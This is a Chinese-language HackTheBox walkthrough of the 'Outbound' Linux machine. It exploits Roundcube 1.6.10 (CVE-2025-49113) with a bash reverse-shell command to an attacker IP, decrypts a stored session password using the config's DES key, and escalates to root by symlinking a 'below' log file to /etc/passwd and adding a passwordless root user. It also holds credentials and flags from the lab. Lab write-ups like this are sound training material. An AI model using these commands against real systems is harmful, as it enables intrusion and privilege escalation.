<h1>Season8 - Outbound</h1>
<blockquote>
<a href="https://app.hackthebox.com/machines/672">https://app.hackthebox.com/machines/672</a> | <code>Linux</code> | <code>Easy</code>
</blockquote>
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image.png" alt="image.png">
**Machine Information：**As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2
<h2>Recon</h2>
<pre><code class="hljs language-bash">➜ Outbound nmap -sT -min-rate 5000 -p- 10.10.11.77 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 11:50 CST
Nmap scan report for 10.10.11.77
Host is up (0.099s latency).
Not shown: 65411 filtered tcp ports (no-response), 122 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 39.56 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Outbound nmap -sT -A -p 22,80 10.10.11.77 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 11:52 CST
Nmap scan report for 10.10.11.77
Host is up (0.18s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 240.46 ms 10.10.16.1
2 96.68 ms 10.10.11.77

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.68 seconds
</code></pre>
访问 <code>HTTP</code> 默认域名是 <code>mail.outbound.htb</code> ，搭建着 <code>Roundcube Webmail 1.6.10</code>
可以以提供的账户进行登录
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image1.png" alt="image.png">
<h2>CVE-2025-49113</h2>
在关于中能知道版本是<code>1.6.10</code> ，能找到一个漏洞 <code>CVE-2025-49113</code>
<blockquote>
<a href="https://support.plesk.com/hc/en-us/articles/32537488344343-CVE-2025-49113-Vulnerability-in-Roundcube-on-Plesk-servers">https://support.plesk.com/hc/en-us/articles/32537488344343-CVE-2025-49113-Vulnerability-in-Roundcube-on-Plesk-servers</a>
</blockquote>
EXP链接：<a href="https://github.com/fearsoff-org/CVE-2025-49113">https://github.com/fearsoff-org/CVE-2025-49113</a>
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image2.png" alt="image.png">
我们直接反弹<code>shell</code>
<pre><code class="hljs language-bash">php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 '/bin/bash -c "bash -i >&#x26; /dev/tcp/10.10.xxxxx/1234 0>&#x26;1"' 
</code></pre>
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image3.png" alt="image.png">
<h2>In www-data</h2>
<h3>信息收集</h3>
看一下家目录
<pre><code class="hljs language-bash">www-data@mail:/var/www/html/roundcube/public_html$ ls /home
jacob mel tyler
</code></pre>
查看监听的端口
<pre><code class="hljs language-bash">www-data@mail:/var/www/html/roundcube/public_html/roundcube$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess 
tcp LISTEN 0 100 127.0.0.1:25 0.0.0.0:* 
tcp LISTEN 0 100 0.0.0.0:143 0.0.0.0:* 
tcp LISTEN 0 100 0.0.0.0:110 0.0.0.0:* 
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=204,fd=5),("nginx",pid=202,fd=5))
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* 
tcp LISTEN 0 100 0.0.0.0:993 0.0.0.0:* 
tcp LISTEN 0 100 0.0.0.0:995 0.0.0.0:* 
tcp LISTEN 0 100 [::1]:25 [::]:* 
tcp LISTEN 0 100 [::]:143 [::]:* 
tcp LISTEN 0 100 [::]:110 [::]:* 
tcp LISTEN 0 100 [::]:993 [::]:* 
tcp LISTEN 0 100 [::]:995 [::]:*
</code></pre>
有在运行<code>mysql</code>，我们找一下配置文件
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image4.png" alt="image.png">
找到账号密码
<pre><code class="hljs language-bash">$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
</code></pre>
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image5.png" alt="image.png">
用户表，但是貌似没什么用
<pre><code class="hljs language-bash">MariaDB [roundcube]> select * from users;
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+----------------------------------------------------+
| user_id | username | mail_host | created | last_login | failed_login | failed_login_counter | language | preferences |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+----------------------------------------------------+
| 1 | jacob | localhost | 2025-06-07 13:55:18 | 2025-07-13 05:06:54 | 2025-07-13 05:26:40 | 3 | en_US | a:1:{s:11:"client_hash";s:16:"newrandomhash1234";} |
| 2 | mel | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL | NULL | en_US | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
| 3 | tyler | localhost | 2025-06-08 13:28:55 | 2025-07-13 05:32:03 | 2025-06-11 07:51:22 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"Y2Rz3HTwxwLJHevI";} |
| 4 | hacker | localhost | 1000-01-01 00:00:00 | NULL | 2025-07-13 05:31:53 | 1 | NULL | a:1:{s:11:"client_hash";s:16:"hackedhash123456";} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+----------------------------------------------------+
4 rows in set (0.000 se
</code></pre>
<h3>解密 session</h3>
从网上一篇文章中：<a href="https://www.roundcubeforum.net/index.php?topic=23399.0">https://www.roundcubeforum.net/index.php?topic=23399.0</a>
可以知道，可以从<code>session-vars</code>中解密出密码
我们再看 <code>session</code>表
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image6.png" alt="image.png">
<code>base64</code>解码：
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image7.png" alt="image.png">
这里找了几个都是<code>tyler</code> 用户，对我们没用，因为我们有了<code>tyler</code>用户的凭据
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image8.png" alt="image.png">
其中有个<code>jacob</code> 用户的，我们应该是要破解该密码
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image9.png" alt="image.png">
从 <code>config.inc.php</code> 中拿到<code>des_key</code>
<pre><code class="hljs language-bash">// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
</code></pre>
直接丢给<code>Gemini</code>生成脚本
<pre><code class="hljs language-bash">&#x3C;?php

// 你的输入
$encrypted_base64 = 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/';
$key = 'rcmail-!24ByteDESkey*Str';

// 1. Base64 解码
$data = base64_decode($encrypted_base64);

// 2. 分离 IV 和密文
// 获取 3DES-CBC 模式的 IV 长度 (结果是 8)
$iv_size = openssl_cipher_iv_length('des-ede3-cbc');
$iv = substr($data, 0, $iv_size);
$ciphertext = substr($data, $iv_size);

// 3. 使用 OpenSSL 进行解密
// Roundcube 使用零填充，所以要加上 OPENSSL_ZERO_PADDING 标志
$decrypted = openssl_decrypt(
 $ciphertext,
 'des-ede3-cbc', // 算法：3DES in CBC mode
 $key,
 OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, // 选项：原始数据 + 零填充
 $iv
);

// 4. 移除末尾的空字节填充
$password = rtrim($decrypted, "\0");

echo "解密后的密码是: " . $password . "\n";

?>
</code></pre>
得到密码，但是无法使用<code>SSH</code>进行登录
<pre><code class="hljs language-bash">➜ Outbound php decrypt.php
解密后的密码是: 595mO8DmwGeD
</code></pre>
但是可以通过 <code>su</code> 切换过去
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image10.png" alt="image.png">
<h2>In Jacob</h2>
<h3>权限提升</h3>
家目录有<code>mail</code>文件夹
<pre><code class="hljs language-bash">jacob@mail:~/mail/INBOX$ cat jacob 
From tyler@outbound.htb Sat Jun 07 14:00:58 2025
Return-Path: &#x3C;tyler@outbound.htb>
X-Original-To: jacob 
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1000)
 id B32C410248D; Sat, 7 Jun 2025 14:00:58 +0000 (UTC)
To: jacob@outbound.htb
Subject: Important Update
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8" 
Content-Transfer-Encoding: 8bit
Message-Id: &#x3C;20250607140058.B32C410248D@outbound.htb>
Date: Sat, 7 Jun 2025 14:00:58 +0000 (UTC) 
From: tyler@outbound.htb 
X-IMAPbase: 1749304753 0000000002 
X-UID: 1
Status: 
X-Keywords: 
Content-Length: 233

Due to the recent change of policies your password has been changed.
Please use the following credentials to log into your account: gY4Wr3a1evp4
 
Remember to change your password when you next log into your account. 
 
Thanks! 
 
Tyler 
 
From mel@outbound.htb Sun Jun 08 12:09:45 2025
Return-Path: &#x3C;mel@outbound.htb> 
X-Original-To: jacob 
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1002) 
 id 1487E22C; Sun, 8 Jun 2025 12:09:45 +0000 (UTC) 
To: jacob@outbound.htb 
Subject: Unexpected Resource Consumption 
MIME-Version: 1.0 
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit 
Message-Id: &#x3C;20250608120945.1487E22C@outbound.htb> 
Date: Sun, 8 Jun 2025 12:09:45 +0000 (UTC) 
From: mel@outbound.htb
X-UID: 2 
Status: 
X-Keywords: 
Content-Length: 261 
 
We have been experiencing high resource consumption on our main server. 
For now we have enabled resource monitoring with Below and have granted you privileges to inspect the the logs.
Please inform us immediately if you notice any irregularities. 
 
Thanks! 
 
Mel 
</code></pre>
从上面的邮件得知，新密码：<code>gY4Wr3a1evp4</code> ，然后服务器开启了资源监控功能，并授予您检查日志的权限。
我们通过新密码能使用<code>ssh</code>登录上去
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image11.png" alt="image.png">
通过 <code>ssh</code> 进来的可以读取<code>user.txt</code>
<pre><code class="hljs language-bash">jacob@outbound:~$ cat user.txt
c82c459d58754712xxxxx
</code></pre>
查看 <code>sudo</code> 权限
<pre><code class="hljs language-bash">jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
 (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
</code></pre>
本以为可以直接通过读文件来拿到 <code>root.txt</code> ，但是<code>sudoers</code>中禁用了 <code>--config,--debug,-d</code>
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image12.png" alt="image.png">
应该还是和日志有关
<pre><code class="hljs language-bash">jacob@outbound:/var/log/below$ ls -al
total 16
drwxrwxrwx 3 root root 4096 Jul 13 07:18 .
drwxrwxr-x 13 root syslog 4096 Jul 13 06:58 ..
-rw-rw-rw- 1 jacob jacob 382 Jul 13 07:02 error_jacob.log
-rw-rw-rw- 1 root root 0 Jul 13 07:18 error_root.log
drwxr-xr-x 2 root root 4096 Jul 13 06:57 store
</code></pre>
我们对当前文件夹拥有完全的权限
<pre><code class="hljs language-bash">echo 'sunset::0:0:sunset:/root:/bin/bash' > /tmp/fakepasswd
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
sudo /usr/bin/below
</code></pre>
<img src="/post-images/HackTheBoxSeason8%20-%20Outbound/image13.png" alt="image.png">
最后再执行
<pre><code class="hljs language-bash">cp /tmp/fakepasswd /var/log/below/error_root.log
</code></pre>
<blockquote>
这里发生了什么？
<ol>
<li><code>below</code> 程序以 <code>root</code> 身份启动。</li>
<li>作为一个日志/监控工具，它很可能会在启动时检查或初始化它的日志文件。它的默认日志文件之一就是 <code>/var/log/below/error_root.log</code>。</li>
<li><code>below</code> 程序（以 <code>root</code> 权限）访问 <code>/var/log/below/error_root.log</code>。操作系统告诉它，这是一个指向 <code>/etc/passwd</code> 的符号链接。</li>
<li>程序发现这个文件存在，但为了确保自己能持续写入日志，它可能会执行一个“修复权限”的操作。一个常见的不安全做法就是执行 <code>chmod 666</code> (或 <code>ugo+w</code>) 来确保文件是全局可写的。</li>
<li>关键漏洞: <code>chmod</code> 这个系统调用会跟随符号链接。当 <code>root</code> 权限的 <code>below</code> 进程对 <code>error_root.log</code> (符号链接) 执行 <code>chmod</code> 时，它实际上修改的是链接所指向的目标文件——<code>/etc/passwd</code>。</li>
<li>结果: <code>/etc/passwd</code> 文件的权限从 <code>rw-r--r--</code> (644) 被修改为了 <code>rw-rw-rw-</code> (666)。</li>
</ol>
</blockquote>
切换用户读取 <code>root.txt</code>
<pre><code class="hljs language-bash">sunset@outbound:~# cat root.txt
26811e234c8fb48520e38bf44c164bec
</code></pre>
<h2>总结</h2>
到提权之前都是一把梭，提权其实也是，但是对<code>below</code>不熟悉。
提权思路是抄的。

Season8 Outbound https://app.hackthebox.com/machines/672 | Linux | Easy Machine Information：As is common in real life pentests, you will start the Out...

HackTheBox - Machine - Outbound

群U靶机 - Meltdown2